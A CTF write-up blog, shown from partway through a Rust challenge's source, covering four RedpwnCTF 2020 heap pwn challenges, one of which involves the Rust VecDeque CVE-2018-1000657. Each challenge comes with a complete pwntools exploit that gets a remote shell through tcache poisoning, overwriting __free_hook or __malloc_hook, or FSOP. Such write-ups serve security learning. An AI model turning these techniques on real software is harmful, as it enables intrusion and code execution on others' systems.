    let element = vec_deque.get_mut(list_i).unwrap();
 
    println!("What do you want to set it to?");
    let mut new_val = String::new();
    prompt();
    io::stdin()
        .read_line(&mut new_val)
        .expect("failed to read input.");
    let new_val: i64 = new_val.trim().parse().expect("invalid input");

    *element = new_val;
}

fn prepend(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to prepend to?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("How many elements do you want to prepend?");
    let mut num_new = String::new();
    prompt();
    io::stdin()
        .read_line(&mut num_new)
        .expect("failed to read input.");
    let num_new: usize = num_new.trim().parse().expect("invalid input");

    vec_deque.reserve(num_new);

    let mut c = 0;
    while c < num_new {

        println!("What value should be inserted?");
        let mut new_el = String::new();
        prompt();
        io::stdin()
            .read_line(&mut new_el)
            .expect("failed to read input.");
        let new_el: i64 = new_el.trim().parse().expect("invalid input");

        vec_deque.push_front(new_el);

        c += 1;
    }
}

fn append(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to append to?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("How many elements do you want to append?");
    let mut num_new = String::new();
    prompt();
    io::stdin()
        .read_line(&mut num_new)
        .expect("failed to read input.");
    let num_new: usize = num_new.trim().parse().expect("invalid input");

    vec_deque.reserve(num_new);

    let mut c = 0;
    while c < num_new {

        println!("What value should be inserted?");
        let mut new_el = String::new();
        prompt();
        io::stdin()
            .read_line(&mut new_el)
            .expect("failed to read input.");
        let new_el: i64 = new_el.trim().parse().expect("invalid input");

        vec_deque.push_back(new_el);

        c += 1;
    }
}

fn view(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to view?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("Which element do you want to view?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let element = vec_deque.get_mut(list_i).unwrap();

    println!("Value: {}", element);
}

fn prompt() {
    print!("> ");
    io::stdout().flush().unwrap();
}

fn main() {
    let mut lists: Vec<VecDeque<i64>> = Vec::new();

    println!("Welcome to my rustic service, which lets you manipulate lists at will!");
    while true {
        menu();
        prompt();
        let mut choice = String::new();
        io::stdin()
            .read_line(&mut choice)
            .expect("failed to read input.");
        let choice: i32 = choice.trim().parse().expect("invalid input");

        match choice {
            1 => create(&mut lists),
            2 => delete(&mut lists),
            3 => edit(&mut lists),
            4 => prepend(&mut lists),
            5 => append(&mut lists),
            6 => view(&mut lists),
            7 => {
                println!("Bye!");
                process::exit(0);
            },
            _ => println!("Invalid choice!"),
        }
    }
}

We basically have a Vector of VectorDeques that hold 64 bit integers. We can add a VecDeq, delete a VecDeq, view an element of the VecDeq, prepend X amounts of  elements to a VecDeq, append X amounts of elements to a VecDeq, and edit a specific element of a VecDeq. The vulnerability is pretty obvious and trivial. We have a UAF in the delete function as it uses unsafe code that frees but still leaves the pointer to the VecDeq in our list. Do be aware that whatever size you want for the chunks does not necessarily return the same sized chunk like in C since Rust does its own decision making for sizes and that Rust makes generous use of the heap so there will be many chunks around.

To obtain a libc leak, we allocate a chunk that is out of tcache range, append a few elements to give the VecDeq valid elements, free it (tcache metadata will overwrite the elements contents), and then you can view it for a libc leak (as the VecDeq is still there technically). We can also grab a heap leak with a similar idea but freeing two chunks of the same size into the tcache (heap leak wasn't necessary in the end, but I just left it in my exploit).

By appending a few items to the last freed tcache chunk before it is freed, we can have a VecDeq there, from which we can edit elements after free. To double free this chunk afterwards, I edited its index 1 to overwrite the pointer used in the tcache key check, thereby beating this modern libc double free protection mechanism. Afterwards, we can simply overwrite __free_hook - 8 with /bin/sh + system with classic tcache poisoning and pop a shell with a call to free.

Here is the final exploit:

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31069

bin = ELF('./tetanus')
libc = ELF('./libc.so.6')
context(arch='amd64')
p = remote(IP, PORT)

def wait():
p.recvrepeat(0.3)

def alloc(size):
wait()
p.sendline('1')
wait()
p.sendline(str(size))

def free(index):
wait()
p.sendline('2')
wait()
p.sendline(str(index))

def append(index, values):
wait()
p.sendline('5')
wait()
p.sendline(str(index))
wait()
p.sendline(str(len(values)))
for v in values:
wait()
p.sendline(str(v))

def prepend(index, values):
wait()
p.sendline('4')
wait()
p.sendline(str(index))
wait()
p.sendline(str(len(values)))
for v in values:
wait()
p.sendline(str(v))

def view(index, subindex):
wait()
p.sendline('6')
wait()
p.sendline(str(index))
wait()
p.sendline(str(subindex))

def edit(index, subindex, data):
wait()
p.sendline('3')
wait()
p.sendline(str(index))
wait()
p.sendline(str(subindex))
wait()
p.sendline(str(data))

alloc(0x80) #0
append(0, [0x4141414141414141]*4)
free(0)
view(0, 0)
libcleak = int(p.recvline().split(' ')[1]) - 0x1eabe0
libc.address = libcleak
log.info("libc base %s " % hex(libcleak))
alloc(0x10) #1
append(1, [0x4141414141414141]*2)
alloc(0x10) #2
append(2, [0x4141414141414141]*2)
free(1)
free(2)
view(2, 0)
heapleak = int(p.recvline().split(' ')[1]) - 0x2d10
log.info("heap base %s " % hex(heapleak))
edit(2, 1, 0)
free(2)
edit(2, 1, 0)
free(2)
alloc(0x10) #3
append(3, [libc.symbols['__free_hook']-8])
alloc(0x10) #4
alloc(0x10) #5
append(5, [0x68732f6e69622f, libc.symbols['system']])
p.interactive()


Tetanus Shot:
This one was a much more interesting problem. Looking at the code, it is basically the same thing as the previous binary, but without any unsafe code. The following is the only difference:

Wait... no unsafe blocks in Rust, which is known for being a "safe" language... I stared at this code for one to two hours trying to find something subtle, but nothing came up. However, when I ran strings on the binary, I did see rustc version 1.19 nightly; I thought that this could be a compiler dependent bug/CVE. Looking around, I came across this CVE (OOB write in Rust's VecDeque::reserve()), and our version seems to be an older unpatched one.

To quote the website, "The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in VecDeque::reserve() function." It then details how one can abuse this to help overflow the heap and provides a really neat POC you can just follow to recreate the bug with with_capacity(), push_front(), push_back(), and reserve().

The code here fits that CVE perfectly. Before append and prepend functions, we can specify a size to reserve and then do push back/push front accordingly for an amount of times equal to the specified time. However, I didn't seem to be able to obtain the N/2 overflow where N is the size of the internal buffer as the CVE mentioned; I was only able to obtain an 8 byte overflow into the next chunk's size field. Perhaps this is because we are required to push_back() the same number elements as we reserved (the POC was able to reserve a certain amount, and then only push_back() one element, and then repeat)? Regardless, an 8 byte write is still enough to pwn.

To create the overflow, we can create a VecDeq with capacity N, call push_front() twice, and then push_back(), and then reserve with size N-3 and then push_back() again; in this program, we will have to type N-3 elements immediately afterwards.

First off, what we want is to have 6 chunks for VecDeqs placed in memory consecutively. This way, Rust's other allocations won't get in the way. This part just took some debugging, heap viewing, and intuition to get correct. I allocated VecDeq sizes of 50 (0x211 real chunk size), 100 (0x411 real chunk size), and 150 (0x811 real chunk size). I had them lined up in the following order: 50, 50, 100, 50, 50, 150 (I will refer to them as chunk 1, 2, 3, 4, 5, 6 for the sake of this writeup). I also had a few chunks (0x211) afterwards in my final exploit to help fix the tcache count when tcache poisoning and to prevent the possibility of coalesced chunks.

Taking the first 3 chunks for example, I can 8 byte overflow from chunk 1 to chunk 2 to change its size to 0x411. I also spammed the 3rd chunk with 0x21 to pass the libc check for chunks below when we free the second chunk. Now, when we allocate for a VecDeq of size 100 after we free chunk 2, we get back the second chunk, but this time as size 0x411, allowing us to overlap the chunk below. This technique is the same for chunks 4, 5, 6 and can be done for both the libc leak and the final write what where.

Chunks 4, 5, 6 were used for the libc leak. When the chunks got overlapped, I appended many elements on chunk 5 until I covered the location where heap metadata would go for Chunk 6. Then I freed Chunk 6, and can view the leak from chunk 5 using view().

Chunks 1,2,3 were used for the shell popping. When the chunks got overlapped, I appended many elements on chunk 2 until I covered the location where heap metadata would go for Chunk 3. I then freed the other size 0x211 chunks i had allocated below chunk 6 earlier, and then freed Chunk 3 (to help us pass the tcache count check when performing a tcache poisoning attack). Using Chunk 2, I can now change the fd pointer in Chunk 3, and tcache poison, which will allow us to get a write what where primitive. Once again, I chose __free_hook - 8 to write with /bin/sh and system, then called delete() to trigger free() and pop a shell.

Here is my final exploit with comments (I should have kept track of the indices with scripting instead of by hand due to the shifting indices from VecDeque removal, but it was getting really late during the CTF):

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31754

bin = ELF('./tetanus_shot')
libc = ELF('./libc.so.6')
context(arch='amd64')
p = remote(IP, PORT)

'''
https://gts3.org/2019/cve-2018-1000657.html
want to call VecDeque::with_capacity(N)
call push front twice
call push back 0
reserve N-3
now using push back you can overflow
'''

def wait():
p.recvrepeat(0.1)

def alloc(size):
p.sendlineafter('>', '1')
p.sendlineafter('>', str(size))

def free(index):
p.sendlineafter('>','2')
p.sendlineafter('>',str(index))

def append(index, values): #push back
p.sendlineafter('>', '5')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(len(values)))
for v in values:
p.sendlineafter('>', str(v))

def prepend(index, values): #push front
p.sendlineafter('>', '4')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(len(values)))
for v in values:
p.sendlineafter('>', str(v))

def view(index, subindex):
p.sendlineafter('>', '6')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(subindex))

def edit(index, subindex, data):
p.sendlineafter('>','3')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(subindex))
p.sendlineafter('>', str(data))

#messing with heap to help get me a consecutive region of chunks in memory
for i in range(10):
alloc(200)
for i in range(10):
free(0)

alloc(50) #0
alloc(50) #1
alloc(50) #2

alloc(50) #3


#grouped together consecutively in memory
#rce tcache poison portion
alloc(50) #4
alloc(50) #5
alloc(100) #6
#libc leak portion
alloc(50) #7
alloc(50) #8
alloc(150) #9

alloc(100) #10, to save for a later free
alloc(100) #11 to save for a later free

#at this point, we have 6 chunks close to each other
'''
Allocated chunk | PREV_INUSE 1-3 for the later write what where
Addr: 0x5641ae58c900
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58cb10
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58cd20
Size: 0x411

Allocated chunk | PREV_INUSE 4-6 for the libc leak
Addr: 0x5641ae58d130
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58d340
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58d550
Size: 0x811
'''
#7:A
#8:B
#9:C

#8 byte overflowing
prepend(7, [0x4141414141414141]*2)
append(7, [0])
append(7, [0x411]*47)

append(9, [0x21]*70)
free(8)
alloc(100)
#7:A
#8:C
#11:B
append(11, [0x4141414141414141] * 64 + [0, 0x811, 0x1337, 0x1337])
free(8)
#B is 10 now
view(10, 67)
libc.address = int(p.recvline().split(' ')[2]) - 0x1eabe0
log.info("libc base: %s" % hex(libc.address))

# now time for RCE
#4: A
#5: B
#6: C

#8 byte overflowing
prepend(4, [0x4141414141414141]*2)
append(4, [0])
append(4, [0x411]*47)

append(6, [0x21]*70)
free(5)
alloc(100) #B is 10
append(10, [0x4141414141414141] * 64 + [0, 0x411, 0x1337, 0x1337, 0x1337, 0x1337])
free(8) #B is 9
free(7) #B is 8
free(5) #B is 7
edit(7, 66, libc.symbols['__free_hook'] - 8)
alloc(100)
alloc(100) #9
append(9, [0x68732f6e69622f, libc.symbols['system']])
free(0)

p.interactive()

Due to my relatively large chunk sizes, my exploit had to send a lot of data, and remote took around 5-6 minutes to run. These two pwns were very cool, and my first time pwning non C binaries! Thanks to Poortho for making these.

RedpwnCTF 2020 Pwn Writeups (Four Function Heap, Zero the Hero)

RedpwnCTF 2020 was a really fun CTF and had some great pwns. Here were some of the pwns I found really interesting (my writeups for the Rust pwns are posted separately).

Four Function Heap:

This is a classic libc 2.27 heap problem with a UAF vulnerability as the pointer is not nulled out after being freed in the delete() function. Like every standard heap pwn, you can do 3 things: allocate, delete, and view. However, it capped you at 14 moves in the main function. Another small tricky part is the indexing rules:

ulong getindex(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("{{prompts.index}}: ");
  __isoc99_scanf(&DAT_00100e2a,&local_14);
  if (((int)local_14 < 0) || (0 < (int)local_14)) {
    ending();
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (ulong)local_14;
}

From this function, we know we can only access index 0. We can also allocate up to size 0x1000 (enough to free sizes that will directly go into unsorted). Thinking about what we have here, I came up with the following 14 step exploit strategy.

1. Allocate a medium sized tcache chunk (approximately in the 0x200 range)

2-4. Use the UAF vuln to free it 3 times (double free)

5. Show this index to get a heap leak from chunk metadata

6. Allocate a chunk of the same size as step 1, and change the fd pointer to point to the tcache_perthread_struct

7. Allocate a chunk of the same size again. The next chunk you ask for of this size will be returned at the fd pointer you wrote into the metadata above.

8. Allocate a chunk of the same size again; as mentioned above, it will be located at the tcache_perthread_struct. Overwrite metadata in a way so that this chunk size and another chunk size appear to be full (count 7 in the tcache_perthread_struct). The original tcache chunk chosen had to be somewhat large too because you need to forge pointers in the location where the tcache_perthread_struct stores pointers to free chunks below. I forged them in a way to return the location of the first chunk we allocated.

9. Free this chunk over the tcache_perthread_struct; since the tcache for that size appears full, it goes into the unsorted bin.

10. Grab the main arena leak that got produced in the step above.

11-13. We now allocate from the other size we filled (although the size I chose had its tcache count overwritten by a large enough number from unsorted bin pointers). Repeat step 6-8 to get a chunk at __free_hook - 8 and overwrite it on the final allocation with /bin/sh + system (I found this trick from NotDeGhost's writeups).

14. Now we can just call free and get a shell!

Here's my final exploit:

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31774

bin = ELF('./four-function-heap')
libc = ELF('./libc.so.6')
p = remote(IP, PORT)

def wait():
p.recvrepeat(0.3)

def alloc(size, data='A'):
wait()
p.sendline('1')
wait()
p.sendline('0')
wait()
p.sendline(str(size))
wait()
p.sendline(data)

def free():
wait()
p.sendline('2')
wait()
p.sendline('0')

def show():
wait()
p.sendline('3')
wait()
p.sendline('0')

size1 = 0x200
size2 = 0x90

alloc(size1)
for i in range(3):
free()
show()
heapleak = u64(p.recv(6).ljust(8, '\x00'))
heapbase = heapleak - 0x260
log.info("Heap leak: " + hex(heapleak))
alloc(size1, p64(heapbase+0x10))
alloc(size1, p64(heapleak)*0x30)
alloc(size1, p64(0) + p64(0x0000000000000007) + p64(0) * 2 + p64(0x0000000007000000) + p64(0) * 11 + p64(heapleak)*2)
free()
show()
libcleak = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libcleak - 0x3ebca0
log.info("Libc base: " + hex(libc.address))
alloc(size2, p64(libc.symbols['__free_hook'] - 8))
alloc(size2)
alloc(size2, '/bin/sh\x00' + p64(libc.symbols['system']))
free()
p.interactive()


Zero the Hero:

This is a more challenging heap problem that required FSOP to pop a shell.

Here is the entire binary reversed:
void main(void)

{
  void *chunk;
  long size;

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("How many zeroes do you want?");
  __isoc99_scanf("%ld",&size);
  chunk = malloc(size);
  printf("I put a bunch of zeroes here: %p\n",chunk);
  puts("How much do you want to read?");
  __isoc99_scanf("%ld",&size);
  *(void *)((long)chunk + size) = 0x30;
  puts("How badly do you want to be a hero?");
  __isoc99_scanf("%ms",&size);
  if (size == main) {
    system("echo flag.txt");
  }
  _exit(0);
}

So we can allocate whatever size we want, and can write a 0x30 anywhere since there is no bounds check on indexing; it also leaks you the location of the heap pointer. The last comparison to main is simply a troll.

With the first arbitrary malloc size, we can allocate a chunk large enough to force the binary to mmap a new region. If the size is large enough, it should mmap a region right above libc. The offset of that pointer to libc regions should be constant and can be discovered through debugging.

Since scanf with the %ms specifier guarantees heap usage, the first thing I thought of was FSOP. We can use the unindexed write to change a byte in _IO_2_1_stdin_'s _IO_buf_end, therefore allowing us to overwrite file structures as well as __malloc_hook under the file structures in memory. However, in order for this write to work, we had to bruteforce to ensure that changing a byte to 0x30 will allow us to reach _malloc_hook but not too much below (which can risk segfaulting or breaking other parts of the program, as we do need to preserve the contents of memory there as closely as possible).

With some debugging, I noticed a pattern of 0x2a appearing every few instances as the second lowest byte for the _IO_buf_end of _IO_2_1_stdin_; flipping that to 0x30 will allow us reach to __malloc_hook, but not too far afterwards. We can carefully overwrite the file structures (basically, you want to preserve their memory contents), and just flip __malloc_hook to a one gadget. This bruteforce will also require you to write into main arena regions, but since we are targeting __malloc_hook, we can just destroy the heap as malloc will never reach that stage. Here is my final exploit (I highly recommend using eu_unstrip to remerge complete libc debug symbols because the file structures have a lot of different symbols that you won't find in a standard libc file):

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31643

bin = ELF('./zero')
libc = ELF('./libc.so.6')

def wait():
p.recvrepeat(0.1)

goodleaks = False
while not goodleaks:
p = remote(IP, PORT)


def wait():
p.recvrepeat(0.1)

p.recvuntil('do you want?\n')
p.sendline('12345678')
leak = int(p.recvline().split()[-1], 16) #heap chunk on mmap
libc.address = leak + 0xbc6ff0
onegadget = libc.address + 0x10a38c
stdiniobufend = libc.symbols['_IO_2_1_stdin_'] + 64
shortbuf = libc.address + 0x3eba83
if int(hex(shortbuf)[10:12], 16) == 0x2a:
goodleaks = True
else:
p.close()
log.info("Heap pointer leak: %s" % hex(leak))
log.info("Libc base: %s" % hex(libc.address))
log.info("Possible one gadgets: %s" % hex(onegadget))
log.info("stdin shortbuf: %s" % hex(shortbuf))
log.info("stdin buf end: %s" % hex(stdiniobufend))
p.recvuntil("want to read?\n")
p.sendline(str(stdiniobufend - leak + 1))

payload = (''
+ '\x00' * 5
+ p64(libc.symbols['_IO_stdfile_0_lock'])
+ p64(0xffffffffffffffff)
+ p64(0)
+ p64(libc.symbols['_IO_wide_data_0'])
+ p64(0) * 3
+ p64(0x00000000ffffffff)
+ p64(0) * 2
+ p64(libc.symbols['_IO_file_jumps'])
+ p64(0) * 19 * 2
+ p64(libc.address + 0x3e7d60)
+ p64(0)
+ p64(libc.symbols['memalign_hook_ini'])
+ p64(libc.symbols['realloc_hook_ini'])
+ p64(onegadget) #overwrite malloc hook
+ p64(0)
+ '\x00' * 0x400 #heap can be destroyed, __malloc_hook will prevent it from ever checking the heap
+ '')
p.sendline(payload)
p.interactive()

The bruteforce really shouldn't take over a few seconds. Overall, this challenge was very fun. Thanks to NotDeGhost for writing these fun problems!

There were also pwnables written in Rust during this CTF, which was pretty interesting as it was my first time dealing with non C binaries in pwn. I managed to finish all of them and made writeups of them here.